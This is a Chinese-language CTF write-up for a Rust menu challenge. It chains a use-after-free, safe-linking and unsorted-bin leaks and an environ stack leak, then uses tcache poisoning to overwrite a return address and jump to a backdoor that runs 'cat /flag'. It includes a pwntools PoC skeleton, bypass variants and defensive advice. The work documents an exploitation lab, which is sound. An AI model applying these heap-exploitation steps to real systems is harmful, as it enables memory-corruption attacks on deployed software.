Rust Vec/VecDeque UAF 全链:delete 只 free 不清 len 保留 Vec 元数据,View 复用为任意读 → tcache 投毒到栈改返回地址进后门
ctf/pwn · verified
一句话结论
题目的 Rust 菜单程序把 Vec/VecDeque 的缓冲区 drop_in_place 释放后并不清空 len/capacity(仍保留原 Vec 元数据),于是 delete 之后再用同一下标 view/append 就是标准的 UAF:view 读到已回收 chunk 里的 fd 指针(tcache 链尾时 safe-linking 编码即 chunk_addr >> 12,左移 12 位还原堆页基址),继续用 unsorted bin 里的 main_arena 指针泄 libc,再用「一次任意地址读」读 environ 拿栈地址,最后用 (chunk>>12) ^ target 编码把 tcache 的 fd 投毒到栈上的返回地址槽,写入 libc 里被改过的 abs 后门(i==1131796 时 system("cat /flag"))拿到 shell。
原理
- 漏洞本质在应用层而非 Rust 安全性:
Vec的drop只释放堆缓冲区,不负责把结构体本身置空。程序为了「重新分配可复用的槽位」自己调用drop_in_place::<Vec<_>>(或等价的手工释放),但结构体里的ptr/len/capacity原样保留,之后VecDeque::get_mut(index)仍然按旧len判界、按旧ptr取元素,读的是已归还给分配器的内存。安全 Rust 不会产生这种用法,所以这是题目故意造的unsafe逻辑缺陷。 - 为什么能无限次利用:正常
delete有门禁——只有id ^ do_something(id) == 0xFFFFFFFF才把全局UAF_FLAG置 1,之后每次delete才真正释放。门禁被解掉后(见另一张卡),delete变成可重复 free,同一指针可被 free 两次,形成 double free。 - 泄露堆地址:第一次 free 后,chunk 的
fd被 tcache 写成next ^ (chunk_addr >> 12)(safe-linking);把泄露值左移 12 位即得堆页基址,正好也是后续编码投毒指针要用的 key。 - 泄露 libc:申请两个
0x4f0的 chunk 再 free,其内容进入 unsorted bin,fd/bk指向main_arena区域;view读出指针减去固定偏移(本链用0x1bcb20)得到 libc 基址。 - 一次任意地址读的用途:程序另有一个只能触发一次的「任意读」分支——全局
LEAK_FLAG==1且abs(1131796)==v23时,直接把v23当成地址去读 4 字节。注意这里的abs被魔改成a1 ^ 0x1177,所以v23 = 1131796 ^ 0x1177 = 1135715。libc 基址已知后,用它读environ附近即可取到栈上的envp指针。 - 投毒到栈:栈地址已泄露,把 tcache 的
fd写成(chunk_addr>>12) ^ stack_target(safe-linking 编码),下一次malloc(0x80)就会返回栈地址;因为「一次 append 最多写 2 个元素」的限制,写入宽度只有 16 字节,但恰好够覆盖菜单函数返回地址,且append(x, [backdoor]*2)一次能写满两个 8 字节槽。
触发条件
- 目标为 Rust 编译的菜单程序,
delete走的是「手工释放缓冲区 + 保留结构体元数据」的写法(反编译里能看到drop_in_place<...Vec...>后len字段未被清零); - 存在可重复触发的 free(本例需先解掉一次
id门禁),或本身就是 double free; view不校验「是否已释放」;- 堆分配器为 glibc,
tcache/unsorted bin行为可预测,且存在一次可用作任意读的额外分支。
利用步骤
- 逆出菜单四项(create / delete / append / view)与两个全局开关
UAF_FLAG、LEAK_FLAG;确认delete释放缓冲后len未清零。 - 解
id门禁:id的二进制位决定是否把全局数组的某个 32 位常量异或进结果,id ^ result == 0xffffffff等价于 32 元 GF(2) 线性方程组,解出id=3957556225(过程见关联卡)。 alloc(0x80)→append(0, [0x41]*2)→free(3957556225)(开门禁)→free(0)→view(0,0):读到的fd左移 12 位得heap_addr与后续投毒用的key。- 申请两块
0x4f0(进 unsorted bin)→free→view读出main_arena指针,减0x1bcb20得 libc 基址;environ_addr = base + libc.sym['environ'] - 0x18(对齐到可读槽)。 alloc(0x80)三连后依次free,让 tcache 链可写;append(4, [(key+1) ^ environ_addr])把位置 3 的fd编码成environ附近地址。- 再
alloc两次拿到environ地址对应的 chunk,用一次任意读(view(9, 1135715))读出envp指针,跳过 3 行后取第 4 个字段,减去栈帧偏移(本链0x650+0x10,并做 16 字节对齐修正)得返回地址附近。 free两块 →append(11, [(key+2) ^ stack_addr])把 tcache 投毒到栈;再alloc两次,append(13, [backdoor]*2)覆盖保存的返回地址(base+0x38A70,即被改过的abs)。- 退出菜单触发函数返回,落到
abs后门:i==1131796时执行system("cat /flag")。
PoC
最小骨架(仅示意流程,未在本机执行;原文 exp 的交互函数略):
from pwn import *
p = process('./pwn'); lib = ELF('./libc.so.6')
def alloc(sz): ...
def free(i): ...
def append(i, vals): ...
def view(i, j): ...
# 1) 解门禁后用 UAF 泄堆
alloc(0x80); append(0, [0x41]*2)
free(3957556225) # 满足 id ^ do_something(id) == 0xffffffff,UAF_FLAG 置 1
free(0) # 重复 free,进入 tcache
view(0, 0); key = int(recvline().split(' ')[2]); heap = key << 12
# 2) unsorted bin 泄 libc
alloc(0x4f0); alloc(0x4f0); append(1, [0x42]*2); free(1)
view(1, 0); base = int(recvline().split(' ')[2]) - 0x1bcb20
environ = base + lib.sym['environ'] - 0x18
# 3) 投毒到 environ,用一次性任意读取栈
alloc(0x80) # 3、4、5、6
append(3, [0x41]*2); free(5); free(4); free(3)
append(4, [(key + 1) ^ environ])
alloc(0x80); alloc(0x80); alloc(0x80) # 7、8、9
view(9, 1135715) # abs(1131796) == 1131796^0x1177
for _ in range(3): recvline()
stack = int(recvline().split(' ')[4]) - 0x650 - 0x10
if stack & 0xf == 8: stack += 8
# 4) 投毒到栈,写返回地址进后门
alloc(0x80); alloc(0x80) # 10、11
free(10); free(11); append(11, [(key + 2) ^ stack])
alloc(0x80); alloc(0x80) # 12、13
append(13, [base + 0x38A70]*2)
p.interactive()
关键编码:tcache fd 必须写成 target ^ (chunk_addr >> 12),其中 chunk_addr>>12 就是第 1 步 view 泄出的 key;漏掉 safe-linking 解码会直接 abort。
变体与关联
- 变体:若目标分配器版本开了
tcache_key(glibc ≥2.34),double free 会因e->key非零被检测,需要先通过view/append把key字段清 0 再做tcache dup;本链先用一次 UAF 写把目标 chunk 的key抹掉即可。 - 变体:无 unsorted bin 或无法申请大块时,可直接用「读已释放的
fd得到堆地址 + 从bss附近全局指针」推 libc;也可把返回地址改成setcontext+mprotect做 ORW 以绕 seccomp。 - 关联:[[ctf-pwn-bitmask-xor-global-gate-gf2]](同一题的前置:解
id门禁)、[[ctf-pwn-vm-heap-uaf-largebin-environ-stack-rop]](同型链:堆 UAF→environ→栈 ROP,但入口是 VM 指令)、[[binary-pwn-heap-tcache-safe-linking-stack-leak-chunk-to-stack]](safe-linking 编码规则与栈上分配)、[[ctf-pwn-menu-uaf-heap-overflow-tcache-poison-freehook-system]](菜单堆题的经典 UAF + tcache 投毒)。
检测与防御
- 对 Rust 开发者:不要用「手工
drop_in_place保留元数据以便复用槽位」的写法;需要复用就用Option<Vec<T>>/带Drop的包装类型,删除时同时把ptr/len/capacity清零,或用Vec::from_raw_parts的配对规则严格转移所有权。unsafe之外 Rust 的借用检查确实能挡住这类错误,但一旦出现裸指针/ManuallyDrop/ptr::read,检查就失效了,必须人工审计。 - 对 CTF/靶场判题:
delete之后view仍返回数据就是显式 UAF;len在 free 前后不变是最直接的静态特征。 - 对真实二进制:glibc 的
tcache/safe-linking检测会 abort 掉朴素 double free,因此能在free后继续read且不崩溃,通常意味着「结构体元数据与缓冲区所有权被分离」,是 Rust/C++ 容器误用的共性 bug 模式;生产环境可开MALLOC_CHECK_、glibc.malloc.tcache_count=0或使用mimalloc/hardened_malloc提高利用门槛。